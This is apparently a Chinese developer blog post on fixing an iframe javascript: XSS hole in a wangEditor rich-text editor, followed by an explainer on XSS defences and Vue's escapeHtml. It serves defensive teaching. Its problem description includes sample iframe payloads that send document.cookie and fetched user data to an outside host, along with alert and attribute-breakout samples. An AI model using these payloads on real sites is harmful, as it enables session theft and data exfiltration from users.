你是否在工作中遇到客户使用安全扫描工具,对产品做功能安全性测试?
我负责的功能模型的开源组件库,在一客户用奇安信的安全扫描工具检测到了富文本插入iframe外链的xss漏洞,客户要求我们修复这些漏洞
下面是xss漏洞修复的一些知识和最终处理记录
问题以及解决记录
在我们的项目中,使用了 wangEditor 富文本编辑器,客户使用奇安信安全扫描工具检测到了以下问题:
问题描述:
- 富文本编辑器允许用户插入 iframe 标签
- 用户可以通过 iframe 的 src 属性注入恶意脚本
- 例:
<iframe src="javascript:alert('111')"></iframe>
<iframe src="javascript:document.location='http://baidu.com?cookie='+document.cookie"></iframe>
<iframe src="javascript:fetch('/api/user-data').then(r=>r.json()).then(d=>fetch('http://baidu.com/123',{method:'POST',body:JSON.stringify(d)}))"></iframe>
本身对wangEditor的富文本内容是通过xss库进行过滤的,但是对iframe标签的插入没有到过滤的逻辑就已经触发执行
解决方案:
-
升级 wangEditor 版本
- 为了避免版本升级导致的vue2兼容性问题,项目wangEditor是早就单独下载源码维护的版本,走升级行不通。只能直接处理
-
最终处理直接修改本地代码
核心点在于:插入iframe标签时,拒绝插入javascript:协议的标签,那么做出对于的判断即可
通过以上措施,成功通过了客户的安全扫描测试,解决了富文本编辑器的 XSS 漏洞问题
现在再看当初的解决方法,其实可以使用 CSP 的方式来解决:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; frame-src 'self';">
frame-src的设置让iframe标签只允许加载来自同源的资源 javascript: 不是有效的 HTTP/HTTPS 协议,所以违反 frame-src 'self' 策略,会被阻止执行
但是也会导致iframe标签无法加载来自其他域的资源,所以需要根据实际情况来选择使用
遇到了一点问题;问题是常见且重要的;下面扩展到一套方法
XSS 是什么?
XSS (Cross-Site Scripting) 是一种常见的 Web 安全漏洞。攻击者利用这种漏洞,将恶意的脚本(通常是 JavaScript)注入到受信任的网站或 Web 应用程序中。当其他用户访问这些被注入了恶意脚本的页面时,这些脚本就会在用户的浏览器中执行
XSS 的危害主要包括:
- 窃取用户信息: 恶意脚本可以读取用户的 Cookie(尤其是没有设置 HttpOnly 标志的 Cookie),从而可能窃取用户的会话信息,冒充用户身份进行操作
- 劫持用户会话: 获取用户的 Session ID,从而完全接管用户的账户
- 钓鱼欺诈: 在页面上显示伪造的登录框或其他表单,诱骗用户输入敏感信息(如用户名、密码)
- 篡改网页内容: 恶意脚本可以修改页面的内容和结构,显示虚假信息、广告或进行其他恶意操作
- 网页重定向: 将用户重定向到恶意的网站
- 进行其他攻击: 如发起 CSRF(跨站请求伪造)攻击、进行端口扫描等
XSS 的主要类型:
- 反射型 XSS (Reflected XSS): 恶意脚本存在于 URL 中,作为请求的一部分发送给服务器,服务器未经处理就将脚本反射回浏览器并在当前页面执行。这种攻击通常需要诱导用户点击包含恶意脚本的链接
- 存储型 XSS (Stored/Persistent XSS): 恶意脚本被永久存储在目标服务器上(如数据库、消息论坛、评论区等)。当其他用户访问包含这些恶意脚本的页面时,脚本就会执行。这是危害最大的一种 XSS 类型
- DOM 型 XSS (DOM-based XSS): 漏洞存在于客户端的 JavaScript 代码中。恶意脚本并不经过服务器,而是通过修改页面的 DOM(文档对象模型)来触发。例如,客户端脚本从 URL 的片段标识符 (
#
) 中获取数据,并使用innerHTML
等不安全的方法将其写入页面
如何处理 XSS 漏洞(防御措施)?
防御 XSS 的核心原则是:不信任任何用户输入,并对输出进行适当的处理
-
输入验证 (Input Validation):
- 在服务器端对接收到的用户输入进行严格的验证和过滤
- 根据数据期望的格式进行校验(例如,年龄字段只接受数字,邮箱字段必须符合邮箱格式)
- 移除或转义输入中的潜在危险字符(如
<
、>
、"
、'
等)。但这通常不是最可靠的方法,因为过滤规则可能被绕过
-
输出编码 (Output Encoding/Escaping):
- 这是防御 XSS 最核心、最有效的手段
- 在将数据输出到 HTML 页面之前,根据数据要插入的位置,对其进行恰当的编码
- HTML 实体编码 (HTML Entity Encoding): 将特殊字符(如
<
转换成<
,>
转换成>
,&
转换成&
,"
转换成"
,'
转换成'
或'
)转换为它们的 HTML 实体表示。这是最常用的方法,适用于在 HTML 标签内容中输出数据 - HTML 属性编码 (HTML Attribute Encoding): 在 HTML 属性值中输出数据时,除了进行 HTML 实体编码,还需要特别注意编码引号等
- JavaScript 编码 (JavaScript Encoding): 在 JavaScript 代码块中输出数据时,需要对数据进行 JavaScript 编码,防止代码注入。通常是将特殊字符转义为十六进制形式(例如
<
转为\x3C
) - URL 编码 (URL Encoding): 在 URL 参数或路径中输出数据时,使用 URL 编码
- HTML 实体编码 (HTML Entity Encoding): 将特殊字符(如
- 许多现代 Web 框架(如 React, Vue, Angular)默认会对输出到模板的数据进行 HTML 实体编码,但开发者仍需注意在特定场景下(如使用
v-html
或dangerouslySetInnerHTML
)需要手动处理或确保数据来源可靠
-
内容安全策略 (Content Security Policy - CSP):
- mdn-CSP
- CSP 是一种安全机制,允许网站管理员控制页面可以加载哪些资源(脚本、样式、图片等)
- 通过配置 CSP HTTP 头部,可以限制脚本的来源(只允许加载本域或指定域的脚本)、禁止内联脚本和
eval()
等危险操作,从而极大地降低 XSS 攻击的风险和影响,即使攻击者成功注入脚本,也可能无法执行
-
设置 HttpOnly Cookie 标志:
- 为敏感的 Cookie(如 Session ID)设置
HttpOnly
标志。这样,浏览器将禁止页面上的 JavaScript 访问这些 Cookie,即使发生 XSS 攻击,攻击者也无法轻易窃取用户的会话 Cookie
- 为敏感的 Cookie(如 Session ID)设置
什么情况下会遇到 XSS?
XSS 漏洞通常发生在以下场景:
- 直接显示用户输入: 网站将用户提交的内容(如评论、留言、搜索关键词、用户资料、文章内容等)未经适当处理就直接显示在页面上
- 使用
innerHTML
、document.write
或类似方法插入不受信任的内容: 这些方法会将字符串直接解析为 HTML 或脚本执行。如果插入的内容包含用户提供的恶意脚本,就会触发 XSS - 从 URL 参数获取数据并显示: 从 URL 的查询参数(如
example.com?query=<script>alert(1)</script>
)获取数据,并在页面上未编码就显示出来(这通常导致反射型 XSS) - 富文本编辑器: 富文本编辑器允许用户输入带有格式的文本(本质上是 HTML),如果编辑器或后端没有对用户输入的 HTML 进行严格的过滤和清理,就可能引入 XSS 漏洞
- JSONP 回调: 如果 JSONP 的回调函数名可以被用户控制,并且没有进行严格验证,攻击者可能构造恶意的回调函数名来执行脚本
之前在阅读vue源码的时候发现了vue的一些相关处理xss的逻辑,下面看看它是怎么处理
Vue 内置 XSS 防护的escapeHtml函数 如何解决 xss 攻击
Vue 的 XSS 防护主要体现在模板编译和渲染阶段,核心在于将用户动态内容先做 HTML 转义,再通过安全的 DOM API 注入,避免未转义的 HTML 被浏览器解析
它会自动对动态绑定的内容(例如 {{ }}
插值、v-bind
的属性值)进行 HTML 转义,防止恶意脚本注入
在packages/shared/src/escapeHtml.ts
文件中,它定义了一个名为 escapeHtml
的函数,用于将字符串中的特殊 HTML 字符("
, '
, &
, <
, >
)替换为它们对应的 HTML 实体
这个函数会将传入的字符串中的 "
, '
, &
, <
, >
字符分别替换为 "
, '
, &
, <
, >
Vue 在以下主要场景会调用这个函数(或其他依赖此函数的逻辑)来实现 XSS 防护:
- 文本插值(Interpolation): 例如
{{ message }}
,message
的内容会被escapeHtml
处理 v-bind
绑定属性: 例如<div :title="userProvidedTitle"></div>
,userProvidedTitle
的值也会被转义,防止注入恶意的属性值(除非特殊情况如v-html
)- 服务端渲染(SSR): 在服务端渲染期间,动态内容同样会通过
escapeHtml
或类似机制进行处理
需要注意的是,v-html
指令是一个例外,它会直接将内容作为 HTML 插入,不会进行转义。因此,使用 v-html
时必须确保内容是可信的,否则会存在 XSS 风险
总结来说,Vue 的内置 XSS 防护主要依赖于 packages/shared/src/escapeHtml.ts
中的 escapeHtml
函数,并在模板编译和渲染的不同阶段自动应用,对绝大部分动态内容进行转义
escapeHtml
函数的原理很简单,但非常有效:它将具有特殊含义的 HTML 字符替换为其对应的 HTML 实体表示
具体来说,它做了以下替换:
<
替换为<
(less than)>
替换为>
(greater than)&
替换为&
(ampersand)"
替换为"
(quotation mark)'
替换为'
(apostrophe / single quote)
为什么这能防止 XSS 攻击呢?
XSS(跨站脚本攻击)的核心是向网页注入恶意的、可执行的脚本(通常是 JavaScript),让这些脚本在用户的浏览器中执行,从而窃取信息、篡改页面内容或执行其他恶意操作
注入脚本最常见的方式就是利用 HTML 标签,例如:
<script>
标签:<script>alert('111');</script>
- 事件处理器:
<img src="invalid-image" onerror="alert('111')">
- 伪协议:
<a href="javascript:alert('111')">Click me</a>
escapeHtml
的作用就在于破坏这些恶意脚本的结构:
-
阻止标签解析: 当
<
和>
被替换为<
和>
后,浏览器就不再将它们视为 HTML 标签的开始和结束符。例如,如果你试图注入<script>alert('111');</script>
,经过escapeHtml
处理后会变成<script>alert('111');</script>
。浏览器只会将这段文本原样显示出来,而不会把它当作一个<script>
标签来执行里面的 JavaScript 代码 -
阻止属性值逃逸: 当引号
"
和'
被替换为"
和'
后,攻击者就无法通过注入引号来提前闭合 HTML 属性的值,并插入新的属性(如onerror
)或标签。例如,假设有一个属性绑定<input value="{{ userInput }}">
,如果userInput
是"><script>alert(1)</script>
,没有转义的话会变成<input value=""><script>alert(1)</script>">
,导致脚本执行。但经过escapeHtml
处理后,userInput
变成"><script>alert(1)</script>
,最终的 HTML 是<input value=""><script>alert(1)</script>">
,这只是一个包含特殊字符的普通字符串值,脚本不会执行 -
处理 & 符号: 转义
&
可以防止它被误解为 HTML 实体的一部分,确保原始意图的文本内容被正确显示
主要流程如下:
1. 编译阶段
1.1 toDisplayString
模板插值({{ foo }}
)和 v-text
指令都会被编译成对 helper toDisplayString
的调用,先将任意值转成字符串或 JSON,再交给转义函数
// 1:68:packages/shared/src/toDisplayString.ts
export const toDisplayString = (val: unknown): string => {
return isString(val)
? val
: val == null
? ''
: isArray(val)
? JSON.stringify(val, replacer, 2)
: String(val)
}
1.2 escapeHtml
toDisplayString
最终会调用 escapeHtml
对特殊字符做实体编码:
// packages/shared/src/escapeHtml.ts
const escapeRE = /["'&<>]/
export function escapeHtml(string: unknown): string {
const str = '' + string
const match = escapeRE.exec(str)
if (!match) return str
let html = ``
let lastIndex = 0
for (let index = match.index; index < str.length; index++) {
let escaped: string
switch (str.charCodeAt(index)) {
case 34: escaped = '"'; break
case 38: escaped = '&'; break
case 39: escaped = '''; break
case 60: escaped = '<'; break
case 62: escaped = '>'; break
default: continue
}
html += str.slice(lastIndex, index) + escaped
lastIndex = index + 1
}
return html + str.slice(lastIndex)
}
2. 运行时阶段
在客户端渲染时,Vue 会使用安全的 DOM 属性注入,保证不会把转义后的内容当作 HTML 解析:
// packages/runtime-dom/src/modules/props.ts
export function patchDOMProp(el: any, key: string, value: any) {
// 处理 v-html / innerHTML 或 v-text / textContent
if (key === 'innerHTML' || key === 'textContent') {
if (value != null) {
el[key] =
key === 'innerHTML'
? unsafeToTrustedHTML(value) // __UNSAFE__,仅在显式 v-html 时使用
: value // textContent 永远安全
}
return
}
// ... 其他属性逻辑
}
⚠️ 除非你显式使用
v-html
(或手动设置innerHTML
),否则 Vue 默认不会绕过这套转义机制
总的来说,escapeHtml
通过将可能被浏览器解释为代码或结构的关键字符进行"无害化"处理(转义),使得用户输入或动态数据只能被当作纯文本内容来显示,从而阻止了恶意脚本的注入和执行,达到了防止 XSS 攻击的目的
注意:Vue 默认对大多数动态绑定(如 {{ }}
和 v-bind
)都应用了这种转义,但 v-html
是个例外,它允许你直接插入原始 HTML,因此使用 v-html
时需要自行确保内容的安全性
输出编码为什么可以防止 XSS?
输出编码是防止跨站脚本攻击(XSS)的核心手段,因为它能够将用户输入中的特殊字符转换为无害的 HTML 实体,使浏览器将其视为普通文本而不是可执行代码,从而阻止恶意脚本的执行
下面将解答"为什么可以通过编码解决 XSS "、"其原理是什么"和"依赖什么特性"
为什么输出编码能防止 XSS?
XSS 攻击的本质是攻击者将恶意脚本(如 <script>alert('111')</script>
)注入到网页中,当浏览器解析并执行这些脚本时,攻击得以实现。输出编码通过将用户输入中的特殊字符(例如 <
、>
、&
)转换为对应的 HTML 实体(例如 <
、>
、&
),破坏了恶意脚本的语法结构,使浏览器无法将其识别为可执行代码,而是作为纯文本显示
举个例子:
- 攻击者输入:
<script>alert('111')</script>
- 未经编码直接输出:浏览器会解析为脚本并执行,弹出警告框
- 经过输出编码:变为
<script>alert('111')</script>
,浏览器将其显示为文本<script>alert('111')</script>
,不会执行
通过这种方式,输出编码确保了用户输入不会被浏览器误解为代码,从而有效防止 XSS 攻击
防止 XSS 的原理是什么?
输出编码的原理基于 HTML 解析规则和实体编码机制。具体来说:
-
破坏脚本语法:
- HTML 解析器依赖特定的语法规则(如
<
表示标签开始,>
表示标签结束)来识别和执行代码 - 输出编码将关键字符转义,例如
<
变为<
,>
变为>
,使得恶意输入无法形成有效的 HTML 标签或脚本结构 - 例如,
<script>
被转义为<script>
,浏览器不会将其视为脚本标签,而是显示为文本
- HTML 解析器依赖特定的语法规则(如
-
利用 HTML 实体编码:
- HTML 标准定义了实体编码(如
<
表示<
),浏览器在解析时会将这些实体解码为对应的字符并显示为文本,而不是将其视为标签的开始 - 转义后的内容被放入 DOM 的文本节点,而不是元素节点或脚本节点,从而避免执行
- HTML 标准定义了实体编码(如
工作过程:
- 用户输入特殊字符 → 编码为 HTML 实体 → 浏览器解析为文本 → 显示而非执行
通过这种机制,输出编码确保了恶意脚本无法被正确解析和执行,达到了防止 XSS 的目的
依赖什么特性?
输出编码的有效性依赖于浏览器的 HTML 解析特性,特别是以下两点:
-
HTML 实体解码:
- 浏览器在解析 HTML 时,会将实体编码(如
<
)解码为对应的字符(如<
),并在渲染时显示为文本,而不是将其视为标签的开始 - 例如,
<script>
被解析后显示为<script>
,不会触发脚本执行
- 浏览器在解析 HTML 时,会将实体编码(如
-
文本节点与标签节点的区分:
- 浏览器在构建 DOM 树时,会根据内容判断是将某部分作为文本节点还是元素/脚本节点处理
- 输出编码后的内容被视为文本节点,区别于可执行的元素节点(如
<script>
),从而避免被执行
这些特性是 HTML 标准的一部分,确保了转义后的用户输入不会被误解为代码,是输出编码防止 XSS 的技术基础
输出编码之所以能防止 XSS,是因为它将用户输入中的特殊字符转换为 HTML 实体,破坏了恶意脚本的语法,使其无法被浏览器解析为可执行代码。其原理依赖于 HTML 解析规则和实体编码机制,而实现这一效果的关键在于浏览器的 HTML 实体解码和文本节点处理特性。通过正确实施输出编码,可以有效阻止 XSS 攻击,保护 Web 应用的安全
关键点回顾:
- 为什么有效: 转义特殊字符,阻止脚本执行,浏览器显示为文本
- 原理: 破坏语法结构,利用 HTML 实体编码
- 依赖特性: 浏览器的实体解码和文本节点处理
在实际应用中,开发者需确保根据输出上下文(如 HTML、JavaScript、CSS)选择正确的转义策略,并全面覆盖所有用户输入的输出点,以最大化安全防护效果
日常开发中,如何解决v-html里面的xss注入
首先后端必须要在内容存储前做一遍清理操作,对于可能的xss攻击内容做处理
然后在前端必须使用v-html
,可以使用 DOMPurify 对内容进行严格的清理:
<template>
<div v-html="sanitizedContent"></div>
</template>
<script>
import DOMPurify from 'dompurify';
export default {
data() {
return {
content: '<script>alert("111")</script><p>Hello World</p>'
}
},
computed: {
sanitizedContent() {
return DOMPurify.sanitize(this.content)
}
}
}
</script>
总结
XSS 攻击是前端中最常见的安全威胁之一,特别是在使用富文本编辑器的场景下。总结以下关键要点:
-
XSS 防护的核心是输出编码
- 将特殊字符转换为 HTML 实体,破坏恶意脚本的语法结构
- Vue 等现代框架默认提供了这种保护,但
v-html
等特殊指令需要额外注意
-
富文本编辑器的安全处理
- 必须在后端进行 HTML 清理,前端的任何防护都可能被绕过
- 使用成熟的清理库(如 DOMPurify、sanitize-html)
- 配置严格的白名单策略,只允许必要的标签和属性
-
深度防御策略
- 输入验证 + 输出编码 + HTML 清理 + CSP 策略
- 多层防护确保即使某一层失效,仍有其他防护措施
-
实际项目经验
- 及时升级依赖库版本,获取最新的安全修复
- 配置编辑器限制危险功能(如 iframe 插入)
- 定期进行安全扫描,主动发现和修复漏洞
记住:永远不要信任用户输入